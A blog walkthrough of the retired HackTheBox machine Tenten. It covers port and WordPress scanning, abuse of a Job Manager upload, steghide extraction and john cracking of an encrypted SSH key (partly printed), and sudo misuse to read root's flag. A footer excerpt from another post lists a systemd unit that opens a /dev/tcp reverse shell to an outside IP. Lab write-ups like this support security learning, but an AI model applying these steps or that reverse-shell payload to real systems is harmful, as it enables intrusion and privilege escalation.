Skip to main content

Hackthebox.eu - Retired - Tenten


HacktheBox.eu - Retired - Tenten



Recon

As always I start with a staged scan, just a simple up/down scan on all TCP ports
Nmap -T4 -p- -oX /root/Desktop/HTB/Tenten/nmapb.xml

Then convert that to HTML to make it pretty
# xsltproc /root/Desktop/HTB/Tenten/nmapb.xml -o  /root/Desktop/HTB/Tenten/nmapb.html


Just ports 22 and 80 open, let's do another scan with just those two ports but add -A to finger OS/Services
# nmap -T4 -A -p22,80 -oX /root/Desktop/HTB/Tenten/nmapf.xml 10.10.10.10

Then convert that to HTML too
# xsltproc /root/Desktop/HTB/Tenten/nmapf.xml -o /root/Desktop/HTB/Tenten/nmapf.html




Let's recap here

Looks like a Linux box running 
Apache 2.4.18 on Port 80
And OpenSSH on port 22

Let's browse to the webpage and see what we see.


A basic webpage using wordpress

Also found this login page pretty quickly

Let's run Dirb to see what else we might find


Here is a sampling of what Dirb found

---- Scanning URL: http://10.10.10.10/ ----
+ http://10.10.10.10/.bashrc (CODE:200|SIZE:3771)                                                                 
==> DIRECTORY: http://10.10.10.10/.cache/                                                                         
+ http://10.10.10.10/.profile (CODE:200|SIZE:655)                                                                 
+ http://10.10.10.10/index.php (CODE:301|SIZE:0)                                                                  
+ http://10.10.10.10/server-status (CODE:403|SIZE:299)                                                            
==> DIRECTORY: http://10.10.10.10/wp-admin/                                                                                                                      
==> DIRECTORY: http://10.10.10.10/wp-content/                                                                                                                    
==> DIRECTORY: http://10.10.10.10/wp-includes/                                                                                                                   
+ http://10.10.10.10/xmlrpc.php (CODE:405|SIZE:42)              

Since this is word press let's also run wpscan against it to see if we can get some more data points


# wpscan --url http://10.10.10.10 --api-token**redacted***



Ubuntu and Apache 2.4.18, which matches what nmap found for us earlier



Wpscan says there are 41 vulns on this site.


This one looks interesting there is a plugin called Job Manager which allows word press to be a job listing site that users can apply to jobs with.

Here it is live on the site, guess what all job application boards allow you to do…. Upload your resume(CV).. I wonder if we can use this to get shell on this box.. Let's try


Exploit


OK let's try and leverage the resume upload function to see if we can get reverse shell.


This site explains that we should be able to upload a file and guess the directory it lives in.



I'm just uploading a test jpg file to see if we can correctly guess the upload location.


This site gives a different directory to try to find our upload.

Instead of  
"http(s)://<wp-host>/<wp-path>/wp-content/uploads/job-manager-uploads/company_logo/<Year/month>/<your-file-name>"

We found our file at   





There is our evil hackerman, so now we know we can use the upload resume function to place files on the server.



Cool let's see if we can find any other job listings

We can see here at the top in the URL for the posting that is up is a 8 I assume that is a posting number

So I changed it from an 8 to a 2 for testing

Here you can see a snipet from posting 8

And here is posting 2


So it is a different posting and it's just an index for job postings. Lets see if we can find any other job postings that might be interesting.

I'm going to use burp to do a simple intruder attack to loop through the first 30 postings.

So first I just capture a request in burp

And then send that over to intruder

Then I select the part I want to use for my variable
And click add

So now burp know the position of the variables i'm going to supply


I just added the numbers 1 through 30 here in the payload options and hit Start attack


Here are the results of our attack, we can see we got a 200 response from everything we threw at it, we can see the title of the page change as we click through the list.

And I see something interesting in posting 13


Hacker Access Granted huh?  Let's pull that up and see what we see


I wonder if there are any more files in the uploaded section that might help us on this box

I loaded up dirbuster and selected the dirbuster small list to look for pdf,doc,html,xml,bak,jpg,php

Pretty quickly it found my index.jpgl that I uploaded earlier and another directory



2017/04 exists so there must be a file in that directory. We know from trying to upload a .ps1 file that they have restrictions on what type of file can be uploaded

So I'm thinking pdf,doc,html,jpg



nothing

Well the title of the page in question was HackerAccessGranted. I'm just going to try that manually with the different extensions.


No pdf
No doc


Oooooh a jpg access granted…

Hacking Samuel L Jackson GIF

Let's download it and see if there is any stego in here.

root@kali:~/Desktop/HTB/Tenten# steghide extract -sf ./HackerAccessGranted.jpg 
Enter passphrase: 
wrote extracted data to "id_rsa".

I extracted something with no password given….. id_rsa

Let's see what is in there
root@kali:~/Desktop/HTB/Tenten# cat id_rsa 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,7265FC656C429769E4C1EEFC618E660C

/HXcUBOT3JhzblH7uF9Vh7fa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LlwcxzLV6FfRVAKdbi6kACsgVeULiI+yAfPjIIyV0m1kv
5HV/bYJvVatGtmkNuMtuK7NOH8iE7kCDxCnPnPZa0nWoHDk4yd50RlzznkPna74r
Xbo9FdNeLNmER/7GGdQARkpd52Uur08fIJW2wyS1bdgbBgw/G+puFAR8z7ipgj4W
p9LoYqiuxaEbiD5zUzeOtKAKL/nfmzK82zbdPxMrv7TvHUSSWEUC4O9QKiB3amgf
yWMjw3otH+ZLnBmy/fS6IVQ5OnV6rVhQ7+LRKe+qlYidzfp19lIL8UidbsBfWAzB
9Xk0sH5c1NQT6spo/nQM3UNIkkn+a7zKPJmetHsO4Ob3xKLiSpw5f35SRV+rF+mO
vIUE1/YssXMO7TK6iBIXCuuOUtOpGiLxNVRIaJvbGmazLWCSyptk5fJhPLkhuK+J
YoZn9FNAuRiYFL3rw+6qol+KoqzoPJJek6WHRy8OSE+8Dz1ysTLIPB6tGKn7EWnP
-----END RSA PRIVATE KEY-----




We got a private key, this box has ssh let's see if we can get in with this





There is a passphrase… no worries we can get rid of that using john and ssh2john


First let's format it in a way that john likes using ssh2john
# python ./ssh2john.py /root/Desktop/HTB/Tenten/id_rsa  > /root/Desktop/HTB/Tenten/id_rsajohn

Now we can feed it into john

# john --wordlist=/usr/share/wordlists/rockyou.txt --format=SSH /root/Desktop/HTB/Tenten/id_rsajohn 
superpassword    (/root/Desktop/HTB/Tenten/id_rsa)



Got past the ssh private key but not the admin using this password

Let's try to enumerate users, wpscan

# wpscan --url http://tenten.htb --enumerate u

[i] User(s) Identified:

[+] takis

Okay can we ssh as takis?



We sure can!

Yes We Did Barack Obama GIF by Obama

Let's get that user flag


takis@tenten:~$ cat user.txt
e5c7******************************


One of the first things I like to do is check what sudo permissions we might have
takis@tenten:~$ sudo -l

(ALL) NOPASSWD: /bin/fuckin


Ok what is in that file?

takis@tenten:~$ cat /bin/fuckin 
#!/bin/bash
$1 $2 $3 $4

It looks like is just bash that accepts variables after the command

Lets see if we can cat out user.txt using this

$ sudo /bin/fuckin cat /home/takis/user.txt 
e5**************************************


Yup, what about root.txt


sudo /bin/fuckin cat /root/root.txt
f9f******************************

Wow that was a quick grab.



That was fun

Stop Talking Comedy Central GIF by Drunk History







Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The